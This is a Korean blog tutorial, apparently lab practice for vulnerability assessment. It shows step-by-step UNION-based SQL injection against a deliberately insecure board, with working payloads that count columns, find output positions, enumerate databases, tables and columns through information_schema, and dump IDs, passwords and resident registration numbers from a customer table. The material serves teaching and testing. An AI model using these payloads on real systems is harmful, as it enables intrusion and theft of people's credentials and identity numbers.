&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmMJfx/btsK870qCql/aXpkGzpKQLiDkFrkpdB4Rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmMJfx/btsK870qCql/aXpkGzpKQLiDkFrkpdB4Rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmMJfx/btsK870qCql/aXpkGzpKQLiDkFrkpdB4Rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmMJfx%2FbtsK870qCql%2FaXpkGzpKQLiDkFrkpdB4Rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;416&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 동일하게 검색하면 다음과 같은 결과를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board union select null,null,null,null,null,null,null,null,null#;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; insecure_board 와 null 값을 가진 9개 컬럼 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q2NKE/btsK9SnY5eW/KtKqDeZeOWxl4W80vbWqW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q2NKE/btsK9SnY5eW/KtKqDeZeOWxl4W80vbWqW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q2NKE/btsK9SnY5eW/KtKqDeZeOWxl4W80vbWqW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq2NKE%2FbtsK9SnY5eW%2FKtKqDeZeOWxl4W80vbWqW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;830&quot; height=&quot;313&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' union select null,null,null,null,null,null,null,null#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; null 값을 컬럼 개수와 다르게 8개만 입력 후 검색하게 되면 아무 게시글도 검색되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; DBMS 에러가 발생해야 하지만 웹 페이지에서 출력되지 않도록 설정한것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 null 개수를 8개로 검색하니 컬럼 개수가 일치하지 않는다는 에러가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xotT5/btsK8855UcU/SssPwONH3tu2CRorNeuqn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xotT5/btsK8855UcU/SssPwONH3tu2CRorNeuqn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xotT5/btsK8855UcU/SssPwONH3tu2CRorNeuqn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxotT5%2FbtsK8855UcU%2FSssPwONH3tu2CRorNeuqn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;862&quot; height=&quot;220&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세번째로 출력 포지션을 파악한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;' &lt;/span&gt;union select 'test',&lt;/span&gt;null,null,null,null,null,null,null,null#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;'&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;union select null,'test'&lt;/span&gt;,null,null,null,null,null,null,null#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;'&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;union select null,null&lt;/span&gt;,'test',null,null,null,null,null,null#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 진단 시, 이런식으로 null 값에 순차적으로 문자열을 입력해서 시도한다. (각 컬럼의 데이터 타입을 확인하기 위해)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL은 데이터 타입에 영향을 받지 않으므로 어느 포지션이든 문자열을 입력하면 출력이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;'&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;union select 'test','test'&lt;/span&gt;,null,null,null,null,null,null,null# 입력하여 첫번째와 두번째 컬럼이 어느 위치에서 출력되는지 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;453&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGBO0C/btsK9SuKzii/OKPKjHEXsuimFhTXtooNCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGBO0C/btsK9SuKzii/OKPKjHEXsuimFhTXtooNCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGBO0C/btsK9SuKzii/OKPKjHEXsuimFhTXtooNCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGBO0C%2FbtsK9SuKzii%2FOKPKjHEXsuimFhTXtooNCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;453&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;453&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지 insecure_board 테이블의 1번과 2번 컬럼이 No와 Title 인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 게시판에 게시글 개수가 적어 이렇게 확인해도 되지만, 실제 취약점 진단 시 게시글이 여러 개가 존재하는 경우 게시글을 쉽게 식별하기 어려울 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격을 효율적으로 하기 위해 상위 select 절을 거짓으로 하여 레코드 출력을 방지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select 'test','test',null,null,null,null,null,null,null# 를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' and 1=2 union select 'test','test'&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;,null,null,null,null,null,null,null#&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;%';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LDAmX/btsK7CAJn7n/9evxfutPKSPe8tXXnGaBLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LDAmX/btsK7CAJn7n/9evxfutPKSPe8tXXnGaBLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LDAmX/btsK7CAJn7n/9evxfutPKSPe8tXXnGaBLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLDAmX%2FbtsK7CAJn7n%2F9evxfutPKSPe8tXXnGaBLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;412&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1088&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5adwL/btsK9WRoujZ/p08OSgVbyLE8qhOi2AF2AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5adwL/btsK9WRoujZ/p08OSgVbyLE8qhOi2AF2AK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5adwL/btsK9WRoujZ/p08OSgVbyLE8qhOi2AF2AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5adwL%2FbtsK9WRoujZ%2Fp08OSgVbyLE8qhOi2AF2AK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1088&quot; height=&quot;182&quot; data-origin-width=&quot;1088&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select 'test','test',null,null,'test',null,null,null,null# 를 입력하여 웹 페이지에서 No, Title, Write 부분에 test 가 출력되는 것을 확인할 수 있다. 이를 통해 1,2,5 번 컬럼이 No, Title, Write인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분을 활용하여 웹 페이지 상에서 컬럼 데이터의 출력 위치를 확인하여 이 3개 파라미터를 공격 포인트로 잡는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' and 1=2 union select 'test','test',null,null,'test',null,null,null,null#&lt;/b&gt;&lt;/span&gt;%';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;397&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhgmwf/btsLbvGVAYd/kQTK451xP08qDKvtgCrm90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhgmwf/btsLbvGVAYd/kQTK451xP08qDKvtgCrm90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhgmwf/btsLbvGVAYd/kQTK451xP08qDKvtgCrm90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhgmwf%2FbtsLbvGVAYd%2FkQTK451xP08qDKvtgCrm90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;397&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;397&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bijB8f/btsLaWLKrSV/F4vVns0GWkzAiKbSs7JcV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bijB8f/btsLaWLKrSV/F4vVns0GWkzAiKbSs7JcV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bijB8f/btsLaWLKrSV/F4vVns0GWkzAiKbSs7JcV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbijB8f%2FbtsLaWLKrSV%2FF4vVns0GWkzAiKbSs7JcV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;183&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력 포인트를 확인 후 필요한 데이터를 조회한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 조회 공격 프로세스 - 모든 데이터 조회 공격 기법이 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 기본 정보 목록화 - 버전, 사용자, 현재 데이터베이스명&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 메타 데이터 목록화 - 데이터베이스, 테이블, 컬럼 &amp;rarr; 데이터 사전(Data Dictionary)을 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 데이터 목록화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;step 1) 기본 정보 목록화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;system_user() &amp;rarr; &lt;span style=&quot;background-color: #ffffff; color: #4d5156; text-align: left;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;MySQL&lt;span style=&quot;background-color: #ffffff; color: #4d5156; text-align: left;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;연결에 대한 현재 사용자 이름과 호스트 이름을 반환&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;version() &amp;rarr; MySQL 버전 정보 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;database() &amp;rarr; 현재 데이터베이스명 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select system_user(),version(),null,null,database(),null,null,null,null# 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 이름, MySQL 버전정보, 현재 데이터베이스명이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dTY1ty/btsLbzvPLvE/RcZp9hdcEQQklInTOXl2Tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dTY1ty/btsLbzvPLvE/RcZp9hdcEQQklInTOXl2Tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dTY1ty/btsLbzvPLvE/RcZp9hdcEQQklInTOXl2Tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdTY1ty%2FbtsLbzvPLvE%2FRcZp9hdcEQQklInTOXl2Tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;383&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;step 2) 메타 데이터 목록화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메타 데이터는 데이터에 대한 정보, 자료의 속성을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;schemata는 전체 DB에 대한 정보를 가지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;information_schema 관련 정보는 &lt;a href=&quot;https://watchout31337.tistory.com/91&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;블로그1&lt;/a&gt;, &lt;a href=&quot;https://dorahee.tistory.com/122&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;블로그2&lt;/a&gt; 를 참고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL: information_schema.schemata, information_schema.tables, information_schema.columns&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MSSQL: master.sys.databses, [db].sys.objects, [db].sys.columns&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ORACLE: all_tables, all_tab_columns&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;information_schema.schemata &amp;rarr; 어떤 데이터베이스가 있는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;information_schema.tables &amp;rarr; 어떤 테이블이 있는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;information_schema.columns &amp;rarr; 어떤 컬럼이 있는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;schema_name &amp;rarr; information_schema.schemata 에서 데이터베이스명을 가지고 있는 컬럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;table_schema &amp;rarr; information_schema.tables 에서 데이터베이스명을 가지고 있는 컬럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;table_name &amp;rarr; 테이블명&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;column_name &amp;rarr; 컬럼명&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데이터베이스 목록화를 진행한다. (전체 DB 목록 확인)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,schema_name,null,null,null,null,null,null,null from information_schema.schemata# 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; show database; 와 동일한 결과가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; schema_name은 DB의 이름을 가지고 있는 컬럼이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; MySQL에 어떤 데이터베이스가 있는지 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;531&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bY2CUo/btsLav81iH0/FZXydLGEPSyZ2BKSo9imt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bY2CUo/btsLav81iH0/FZXydLGEPSyZ2BKSo9imt0/img.png&quot; data-alt=&quot;어떤 데이터베이스를 가지고 있는지 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bY2CUo/btsLav81iH0/FZXydLGEPSyZ2BKSo9imt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbY2CUo%2FbtsLav81iH0%2FFZXydLGEPSyZ2BKSo9imt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;964&quot; height=&quot;531&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;531&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;어떤 데이터베이스를 가지고 있는지 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력된 데이터베이스 목록 확인 시 아까 SQL Injection 공격을 통해 출력된 pentest 가 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테이블 목록화를 진행한다. (특정 DB의 테이블을 목록화)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,table_name,null,null,null,null,null,null,null from information_schema.tables# 을 입력하게 되면 pentest 를 포함한 모든 데이터베이스의 테이블이 출력된다. 그러므로 WHERE 절을 사용하여 특정 데이터베이스를 지정하여 테이블 목록을 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,table_name,null,null,null,null,null,null,null from information_schema.tables where table_schema='pentest'# 을 입력하면 pentest 데이터베이스의 테이블 목록을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSKzgA/btsLbM9xts0/YpyxI6uXFVMVwAnxcpihI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSKzgA/btsLbM9xts0/YpyxI6uXFVMVwAnxcpihI0/img.png&quot; data-alt=&quot;pentest 데이터베이스의 테이블 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSKzgA/btsLbM9xts0/YpyxI6uXFVMVwAnxcpihI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSKzgA%2FbtsLbM9xts0%2FYpyxI6uXFVMVwAnxcpihI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;493&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;pentest 데이터베이스의 테이블 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;컬럼 목록화를 진행한다. (특정 테이블의 컬럼을 목록화)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;customer_info 는 고객정보를 저장한 테이블이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='customer_info'# 을 입력하면 pentest 데이터베이스 내 customer_info 테이블의 컬럼 목록을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDrpab/btsLa2kZ4hy/6ZjGK6csAiO7ZUZBe5KMz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDrpab/btsLa2kZ4hy/6ZjGK6csAiO7ZUZBe5KMz0/img.png&quot; data-alt=&quot;customer_info 테이블의 컬럼 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDrpab/btsLa2kZ4hy/6ZjGK6csAiO7ZUZBe5KMz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDrpab%2FbtsLa2kZ4hy%2F6ZjGK6csAiO7ZUZBe5KMz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;526&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;customer_info 테이블의 컬럼 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;step 3) 데이터 목록화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 컬럼의 데이터를 확인하기 위해 데이터 목록화를 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블: customer_info&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select id,password,null,null,jumin,null,null,null,null from customer_info# 을 입력하면 ID, Password, 주민등록번호가 출력되는 것을 확인할 수 있다.&lt;/p&gt;
